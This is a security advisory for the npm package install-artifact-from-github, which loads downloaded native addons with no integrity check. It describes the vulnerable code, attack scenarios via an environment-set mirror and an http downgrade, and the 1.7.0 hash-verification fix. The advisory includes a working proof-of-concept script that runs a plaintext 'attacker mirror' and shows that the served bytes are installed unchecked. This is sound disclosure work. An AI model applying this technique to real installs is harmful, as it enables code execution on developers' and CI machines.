install-artifact-from-github loads downloaded native artifacts without integrity verificationGHSA-88q3-gch3-5396
HIGHFix: uhop/install-artifact-from-github@1d2d863GHSA-88q3-gch3-5396 is a high-severity (CVSS 7.5) CWE-494 vulnerability in install-artifact-from-github. A fix is available for install-artifact-from-github — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
install-artifact-from-githubReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Description
bin/install-from-cache.js downloads a prebuilt native addon (*.node) over the network and writes it directly to the artifact path with no cryptographic integrity verification of any kind — no checksum manifest, no signature, no SRI. A scan of the whole package for createHash|sha256|checksum|integrity|digest|signature finds nothing. The file is then require()-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.
Affected code (v1.6.0)
-
Mirror is fully attacker-steerable via an env var, no host pinning —
bin/install-from-cache.js:80:let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com';re2passes--host-var RE2_DOWNLOAD_MIRROR, so settingRE2_DOWNLOAD_MIRROR(CI config,.npmrc/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning. -
The write sink is a bare
writeFile, no verification —bin/install-from-cache.js:185-187:const write = async (name, data) => { await fsp.mkdir(path.dirname(name), {recursive: true}); await fsp.writeFile(name, data); // `data` is the raw HTTP response body }; -
Cleartext transfer + silent protocol downgrade on redirect —
bin/install-from-cache.js:155,165:const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported ... get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW urlAn
https://asset that 302-redirects tohttp://is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.
The post-download "verification" is not an integrity gate
isVerified() optionally runs npm run verify-build / npm test after writing the file. For re2, scripts/verify-build.js require()s the binary as its first line — i.e. the downloaded addon's native code has already executed by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any npm_config_platform* env var is set (:120-122).
Proof of concept
A self-contained, non-malicious PoC (poc.js) proves the missing-integrity property against the real install-from-cache, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs install-from-cache with RE2_DOWNLOAD_MIRROR pointed at it, and shows the served bytes are written verbatim to build/Release/re2.node:
npm i install-artifact-from-github
IAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js
attacker mirror (plaintext http) on 127.0.0.1:PORT
[mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137
Writing to build/Release/re2.node ... Done.
install-from-cache exit: 0
served sha256: ec6fdde6...4ebc
written sha256: ec6fdde6...4ebc
✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them
The install succeeds (exit 0) with attacker-controlled bytes at the artifact path. Because a real .node executes on require() (NAPI/NODE_MODULE init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)
Attack scenarios (any one suffices)
- Attacker-configured or later-compromised
RE2_DOWNLOAD_MIRROR. - Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS.
- On-path attacker where a plaintext (
http://) mirror or anhttps→httpredirect is in play.
Suggested fix
- Publish per-release
SHASUMS256.txt(or embed expected digests) and verify the download's SHA-256 before writing/loading; refuse on mismatch. (This is the modelprebuild-installalready uses.) - Reject
http://asset URLs andhttps→httpredirect downgrades; pin scheme across redirects; cap redirect count/hosts. - Document that
verify-build/testrun after load and cannot gate integrity.
PoC
poc.js:
// PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO
// integrity verification, from an env-controlled mirror, over plaintext HTTP.
//
// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node
// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a
// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.
// Because a .node artifact is dlopen()'d on require (running its module-init native code), an
// attacker who substitutes it — via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered
// GitHub release, or an on-path MITM on the plaintext path — achieves code execution.
//
// Run: IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js
// (defaults to require.resolve if install-artifact-from-github is installed nearby)
const http = require('http');
const fs = require('fs');
const os = require('os');
const path = require('path');
const crypto = require('crypto');
const { spawn } = require('child_process');
const IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js');
const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node
const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');
const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-'));
fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({
name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' },
scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this
}));
const server = http.createServer((req, res) => {
process.stdout.write(` [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n`);
res.writeHead(200, { 'content-type': 'application/octet-stream' });
res.end(SENTINEL);
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);
const child = spawn('node', [IAFG,
'--artifact', 'build/Release/re2.node',
'--host-var', 'RE2_DOWNLOAD_MIRROR',
'--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH',
'--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], {
cwd: work, stdio: ['ignore', 'inherit', 'ignore'],
env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,
npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2',
npm_package_scripts_verify_build: 'node -e "process.exit(0)"' }
});
child.on('exit', (code) => {
server.close();
console.log('install-from-cache exit:', code);
const artifact = path.join(work, 'build/Release/re2.node');
if (fs.existsSync(artifact)) {
const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex');
console.log('served sha256:', servedSha);
console.log('written sha256:', writtenSha);
console.log(servedSha === writtenSha
? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().'
: '✗ sha mismatch');
} else {
console.log('✗ artifact not written (check IAFG_BIN path)');
}
fs.rmSync(work, { recursive: true, force: true });
});
});
Patches
Fixed in 1.7.0 via hash-bag verification. The consuming package publishes an artifactHashes map (slot → sha256:<hex> of the decompressed binary) in its own package.json — immutable once on npm, stamped at publish time by the new hash-github-cache --write bin (e.g. wired as prepublishOnly). install-from-cache now verifies the decompressed download before writing it to disk; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default github.com source — an explicitly configured mirror (--host / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an https→http transport downgrade on the default path is also defeated by content verification.
Note: verification activates only when the consuming package ships an artifactHashes bag; packages without one behave as before (backward-compatible, zero-config default). node-re2 >= 1.26.0 publishes a stamped bag.
Workarounds
On <= 1.6.0: skip downloading entirely and build from source via the documented dev short-circuit (DEVELOPMENT_SKIP_GETTING_ASSET env var, or a .development file). 1.7.0 adds first-class --force-build / DOWNLOAD_FORCE_BUILD for the same effect. In all versions, never point a mirror variable (e.g. RE2_DOWNLOAD_MIRROR) at a host you do not fully control.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | install-artifact-from-github | all versions | 1.7.0npm install install-artifact-from-github@1.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for install-artifact-from-github, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update install-artifact-from-github to 1.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-88q3-gch3-5396 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-88q3-gch3-5396 in your dependencies?
Find it across npm, including transitive dependencies.